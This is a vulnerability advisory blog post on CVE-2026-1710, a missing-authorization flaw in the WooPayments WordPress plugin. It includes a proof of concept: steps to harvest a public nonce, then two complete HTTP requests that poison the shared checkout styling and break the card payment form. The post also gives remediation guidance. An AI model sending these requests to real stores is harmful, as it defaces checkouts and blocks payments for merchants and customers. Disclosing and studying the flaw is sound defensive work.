Plugin Security Certification (PSC) by CleanTalk

Use only certified WordPress plugins for your website

CERTIFY PLUGIN

CVE-2026-1710 – WooPayments – Unauthenticated Checkout UI Cache Poisoning/DOS via Public save_upe_appearance AJAX Endpoint – POC

CVE-2026-1710 affects WooPayments and it is an unauthenticated cache poisoning and denial of service vulnerability that targets the checkout payment UI rather than the WordPress admin. The core issue is that a public AJAX endpoint allows any visitor to submit attacker controlled Stripe Elements appearance configuration, and the plugin stores that data in globally shared transients that are later consumed by all shoppers. This transforms a single anonymous request into **site wide persistent checkout manipulation** that can last for up to a day. On stores where card payments are a primary revenue path, disrupting the payment form is operationally severe because it blocks checkout completion for real customers while looking like a normal front end glitch.

CVE	**CVE-2026-1710**
Plugin Version	WooPayments <= 10.5.1

All Time	**42 430 769**
Active installations	**900 000+**
Publicly Published	March 30, 2026
Last Updated	March 30, 2026
Researcher	Dmitrii Ignatyev
PoC	Yes
Exploit	No
Reference	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-1710 https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/woocommerce-payments/woopayments-1051-missing-authorization-to-unauthenticated-plugin-settings-update-via-save-upe-appearance-ajax https://t.me/cleantalk_researches/397
Plugin Security Certification by CleanTalk	

Logo of the plugin	

Timeline

January 22, 2026	Plugin testing and vulnerability detection in the **WooPayments** have been completed
January 22, 2026	I contacted the author of the plugin and provided a vulnerability PoC with a description and recommendations for fixing
March 30, 2026	Registered **CVE-2026-1710**

Discovery of the Vulnerability

The vulnerable surface is the `save_upe_appearance` AJAX handler which is exposed to unauthenticated users through a nopriv action, meaning the request does not require login. The handler accepts parameters like `elements_location` and an `appearance` JSON blob and persists the decoded values using `set_transient` for a long TTL. The only gate is a nonce

that is distributed to front end visitors on the checkout page, which means it does not represent authorization and can be harvested by any attacker who can load the page. The design mistake is treating a user facing customization feature as if it were per session or per user, yet caching it globally across all sessions. Because transients are shared, any unauthenticated attacker can overwrite what every other customer will see until the transient expires or is overwritten again, which is the exact definition of cache poisoning in an application context.

Understanding of Missing Auth attack's

In WordPress and WooCommerce, transients are commonly used for performance and to avoid repeated API calls, but they are not safe storage for untrusted user supplied data that influences critical front end behavior. When a plugin stores attacker controlled configuration in a shared transient, it effectively creates a global mutable state controlled by anonymous users. Real world consequences include persistent UI defacement, customer trust loss, and conversion drops, especially on checkout flows where users are already sensitive to anything that looks suspicious. The more serious variant is denial of service. If the stored configuration causes JavaScript initialization errors, the payment form may fail to render, which can block card payments entirely. This class of bug is often overlooked because it does not look like traditional injection. Yet it is still **a public write primitive into shared checkout state**, and that is enough to create measurable business damage.

Exploiting the Missing Auth Vulnerability

To exploit **CVE-2026-1710**, an attacker without any cookies:

> ***POC:***

```
1) Go to checkout page and parse
"saveUPEAppearanceNonce" nonce from here
2) Send Followint request to deface form:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: your-host.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64;
rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-
urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 1046
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

action=save_upe_appearance&_ajax_nonce=58017df4
af&elements_location=shortcode_checkout&appeara
nce=
{"theme"%3a"night","labels"%3a"floating","varia
bles"%3a{"colorPrimary"%3a"%23a02222","colorBac
kground"%3a"%232b2333","colorText"%3a"%23ff2333
","colorDanger"%3a"%23ff00ff","fontFamily"%3a"m
onospace","fontSizeBase"%3a"18px","borderRadius
"%3a"0px"},"rules"%3a{".Block"%3a{"backgroundCo
lor"%3a"%232b0033","border"%3a"4px+solid+%23a02
0f0","padding"%3a"16px"},".Input"%3a{"backgroun
dColor"%3a"%233b0050","color"%3a"%23ff3333","bo
rder"%3a"3px+solid+%23a020f0","padding"%3a"18px
","borderRadius"%3a"0px"},".Input--
invalid"%3a{"backgroundColor"%3a"%233b3330","co
lor"%3a"%23ffffff","border"%3a"3px+solid+%23ff0
0ff"},".Label"%3a{"color"%3a"%23ff00ff","fontWe
ight"%3a"700"},".Tab"%3a{"backgroundColor"%3a"%
233b0050","color"%3a"%23fff333","border"%3a"2px
+solid+%23a020f0"},".Tab--
selected"%3a{"backgroundColor"%3a"%23a020f0","c
olor"%3a"%23ff2222","border"%3a"2px+solid+%23ff
0333"},".Text"%3a{"color"%3a"%23fff333"},".Text
--redirect"%3a{"color"%3a"%23ff0333"}}}

3)Send Followint request to DOS form:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: your-site.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64;
rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
```

```
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-
urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 214
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

action=save_upe_appearance&_ajax_nonce=58017df4
af&elements_location=shortcode_checkout&appeara
nce=%7B%22theme%22%3A%22night%22%2C%22labels%22
%3A%22floating%22%2C%22variables%22%3A%22THIS_S
HOULD_BE_AN_OBJECT%22%7D
```

The most direct impact is revenue loss. A store can be pushed into a state where the card payment widget fails to initialize, causing checkout abandonment spikes that look like a payment provider outage. The defacement angle is also serious because the attacker can alter colors and styles to make the form look untrustworthy, which can reduce conversions even if the form technically works. Another realistic scenario is targeted disruption during peak sales windows where an attacker repeatedly overwrites transients to keep the checkout unstable. Because the write primitive is public and cheap, the attacker can automate it and continuously refresh the poisoned state. This becomes a soft denial of service that is harder to mitigate with typical rate limiting on page views, since it uses a valid endpoint and a publicly available nonce. The lasting nature is a key risk. The transient TTL can hold the poisoned appearance for many hours, so the damage persists even after the attacker stops sending requests, which is why this is **a persistence style front end sabotage** rather than a momentary glitch.

Recommendations for Improved Security

The fix starts with enforcing authorization. A public endpoint must not write globally shared appearance configuration. The handler should be restricted to administrators or store managers, and it should validate a capability like manage_woocommerce or manage_options before accepting changes. The nonce should be validated, but it must not be used as the only gate because it is not an authorization mechanism when it is printed to all visitors. The storage model should also change. If the appearance is meant to be per visitor or per session, store it client side or in a session scoped store, not in a global transient. If it is meant to be an admin configured global setting, store it in options and only allow privileged users to update it. Input validation must be strict. The appearance JSON should be schema validated and rejected unless it matches expected types, with safe defaults applied when parsing fails, so malformed input cannot break Stripe Elements initialization. As operational mitigations, site owners can add WAF rules to block unauthenticated calls to save_upe_appearance, implement rate limiting on admin-ajax write actions, and monitor for repeated requests that update appearance with unusual values, because that can reveal active exploitation quickly.

> *By taking proactive measures to address **Missing Auth like CVE-2026-1710** WordPress website owners can enhance their security posture and safeguard against potential exploitation. Stay vigilant, stay secure.*
>
> *#WordPressSecurity #**MissingAuth** #WebsiteSafety #StayProtected #HighVulnerability*
>
> ***Use CleanTalk solutions to improve the security of your website***
>
> DMITRII I.

Related posts

CVE-2024-3963 – RafflePress Lite – Stored XSS – POC

RafflePress Lite is WordPress plugin designed to help users drive traffic, grow their email lists, and boost social...

CVE-2024-6889 – Secure Copy Content Protection and Content Locking – Stored XSS to Backdoor Creation – POC

CVE-2024-6889 exposes a serious vulnerability in the Secure Copy Content Protection and Content Locking plugin, a tool used...

CVE-2024-8542 – Everest Forms – Stored XSS to Backdoor Creation – POC

CVE-2024-8542 is a critical Stored Cross-Site Scripting (XSS) vulnerability affecting the Everest Forms plugin, used by over 100,000...

CVE-2025-10700 – Ally – Web Accessibility & Usability – Cross-Site Request Forgery to Plugin Settings Update – POC

Ally – Web Accessibility & Usability is a widely deployed WordPress plugin (400k+ installs) that enhances accessibility and...

CVE-2025-14980 – BetterDocs – OpenAI API Key Disclosure to Contributor+ via Admin Script Localization – POC

CVE-2025-14980 affects BetterDocs and it exposes a high value secret through a surprisingly common WordPress anti pattern. The...

Dmitrii I April 2, 2026 CVE, Security

No Comments

← CVE-2026-3098 – Smart Slider 3 – LFI (Subscriber+) – POC

CVE-2026-4267 – Query Monitor – Unauth Reflected XSS – POC →

Leave a Reply

Your email address will not be published. Required fields are marked *

Comment *

Name *

Email *

Website

Save my name, email, and website in this browser for the next time I comment.

Post Comment

CleanTalk

- About
- Blog
- Dashboard
- Plugins security certification
- WordPress Malware removal
- Pricing
- Sign up / Sign In

Solutions

- Anti-Spam for Websites
- Anti-Spam Plugins
- Check IP
- Check Email
- Filter fake emails
- Gantt Charts
- Hide contact data
- Stop spam emails in Contact form 7 (CF7)
- Stop spam in Elementor form builder
- Stop spam in WPForms
- Vulnerabilities and Security Researches
- Website malware scanner
- WordPress Security & Firewall Plugin

Documentation

- Help
- Is my site infected?
- License agreement
- Privacy Policy
- Refund Policy

Contact us

- Create a support ticket
- Contact us
- Telegram
- X